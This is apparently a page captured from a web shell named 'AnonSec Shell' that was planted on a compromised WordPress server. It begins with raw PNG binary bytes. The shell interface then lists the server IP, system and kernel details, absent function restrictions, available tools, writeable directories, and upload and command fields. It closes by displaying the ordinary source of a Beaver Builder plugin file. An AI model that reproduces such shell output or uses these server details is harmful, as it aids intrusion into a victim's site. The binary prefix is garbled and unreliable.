‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-plugin/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-plugin/classes/class-fl-builder-wp-blocks-layout.php
<?php

/**
 * Beaver Builder layout block for the new editor.
 *
 * @since 2.1
 */
final class FLBuilderWPBlocksLayout {

	/**
	 * @since 2.1
	 * @return void
	 */
	static public function init() {
		global $wp_version;
		// Actions
		add_action( 'current_screen', __CLASS__ . '::init_template' );
		add_action( 'pre_post_update', __CLASS__ . '::disable_builder_on_post_update', 10, 2 );

		// Filters
		add_action( 'block_editor_rest_api_preload_paths', __CLASS__ . '::update_legacy_post', 10, 2 );
		add_filter( 'fl_builder_editor_content', __CLASS__ . '::filter_editor_content' );
		add_filter( 'fl_builder_migrated_post_content', __CLASS__ . '::filter_migrated_post_content' );
	}

	/**
	 * Initialize a template for empty posts that have
	 * the builder enabled for them.
	 *
	 * @since 2.1
	 * @return void
	 */
	static public function init_template() {
		global $pagenow;

		if ( in_array( $pagenow, array( 'post.php', 'post-new.php' ) ) ) {
			$post_id      = isset( $_GET['post'] ) ? absint( $_GET['post'] ) : null;
			$render_ui    = apply_filters( 'fl_builder_render_admin_edit_ui', true );
			$post_types   = FLBuilderModel::get_post_types();
			$screen       = get_current_screen();
			$enabled      = ! $post_id ? false : FLBuilderModel::is_builder_enabled( $post_id );
			$user_access  = FLBuilderUserAccess::current_user_can( 'builder_access' );
			$unrestricted = FLBuilderUserAccess::current_user_can( 'unrestricted_editing' );

			if ( $render_ui && in_array( $screen->post_type, $post_types ) ) {

				if ( $enabled ) {
					add_filter( 'user_can_richedit', '__return_true' ); // WP 5.5
				}

				$post_type = get_post_type_object( $screen->post_type );

				if ( $post_type && ( $enabled || ( $user_access && $unrestricted ) ) ) {
					if ( empty( $post_type->template ) ) {
						$post_type->template = array(
							array( 'fl-builder/layout' ),
						);
					} else {
						if ( is_array( $post_type->template ) ) {
							array_unshift( $post_type->template, array( 'fl-builder/layout' ) );
						}
					}

					if ( ! $user_access || ! $unrestricted ) {
						$post_type->template_lock = 'all';
					}
				}
			}
		}
	}

	/**
	 * Updates posts being edited in the admin that we're built
	 * using Beaver Builder before WordPress blocks existed.
	 *
	 * We do this on the `block_editor_preload_paths` filter because
	 * that is the earliest we can hook into updating the post before
	 * it is preloaded by the REST API.
	 *
	 * @since 2.1
	 * @param array $paths
	 * @param object $post
	 * @return array
	 */
	static public function update_legacy_post( $paths, $context ) {

		if ( is_object( $context ) ) {
			$post = ( $context instanceof WP_Block_Editor_Context ) ? $context->post : $context;

			/**
			 * Fix for widgets page.
			 */
			if ( ! is_object( $post ) ) {
				return $paths;
			}
			$enabled = FLBuilderModel::is_builder_enabled( $post->ID );
			$blocks  = preg_match( '/<!-- wp:(.*) \/?-->/', $post->post_content );

			if ( $enabled && ! $blocks ) {
				$block  = '<!-- wp:fl-builder/layout -->';
				$block .= self::remove_broken_p_tags( $post->post_content );
				$block .= '<!-- /wp:fl-builder/layout -->';

				$post->post_content = $block;

				wp_update_post( array(
					'ID'           => $post->ID,
					'post_content' => $block,
				) );
			}
		}

		return $paths;
	}

	/**
	 * Disable the builder if old post content has a l
	 * ayout block but the new post content doesn't.
	 *
	 * @since 2.1
	 * @return void
	 */
	static public function disable_builder_on_post_update( $post_id, $new_post ) {
		$new_post   = (object) $new_post;
		$old_post   = get_post( $post_id );
		$post_types = FLBuilderModel::get_post_types();

		if ( ! $old_post || ! in_array( $old_post->post_type, $post_types ) ) {
			return;
		}

		$old_layout = preg_match( '/<!-- wp:fl-builder\/layout \/?-->/', $old_post->post_content );
		$new_layout = preg_match( '/<!-- wp:fl-builder\/layout \/?-->/', $new_post->post_content );

		if ( $old_layout && ! $new_layout ) {
			update_post_meta( $post_id, '_fl_builder_enabled', false );
		}
	}

	/**
	 * Filters the content saved back to the post editor when a builder
	 * layout is published and wraps it in our layout block. If our block
	 * exists in the post content then it will be replaced with this block.
	 * Otherwise, the entire post content will be replaced.
	 *
	 * @since 2.1
	 * @param string $content
	 * @return string
	 */
	static public function filter_editor_content( $content ) {
		$post_id = FLBuilderModel::get_post_id();
		$post    = get_post( $post_id );

		$block  = "<!-- wp:fl-builder/layout -->\n";
		$block .= self::remove_broken_p_tags( $content );
		$block .= "\n<!-- /wp:fl-builder/layout -->";

		return $block;
	}

	/**
	 * Removes the builder layout block from migrated post content.
	 *
	 * @since 2.1
	 * @param string $content
	 * @return string
	 */
	static public function filter_migrated_post_content( $content ) {
		$content = preg_replace( '/<!--\s\/?wp(.|\s)*?-->/', '', $content );
		return $content;
	}

	/**
	 * Removes unclosed or unopened paragraph tags caused by a bug
	 * in wpautop. If we don't remove those here, Gutenberg will
	 * think our layout block has an error.
	 *
	 * See: https://core.trac.wordpress.org/ticket/43100
	 *
	 * @since 2.1
	 * @param string $content
	 * @return string
	 */
	static public function remove_broken_p_tags( $content ) {
		// Convert microsoft special characters
		$replace = array(
			'‘' => "'",
			'’' => "'",
			'”' => '"',
			'“' => '"',
			'–' => '-',
			'—' => '-',
			'…' => '&#8230;',
		);
		$content = preg_replace( '@<([^>]+)\s*>\s*<\/\1\s*>@m', '', $content );
		$content = preg_replace( '/<p>(.*)<\/p>/i', '<fl-p-placeholder>$1</fl-p-placeholder>', $content );
		$content = preg_replace( '/<\/?p[^>]*\>/i', '', $content );
		$content = preg_replace( '/fl-p-placeholder/i', 'p', $content );
		foreach ( $replace as $k => $v ) {
			$content = str_replace( $k, $v, $content );
		}
		$content = force_balance_tags( $content );
		return $content;
	}
}

FLBuilderWPBlocksLayout::init();

Anon7 - 2022
AnonSec Team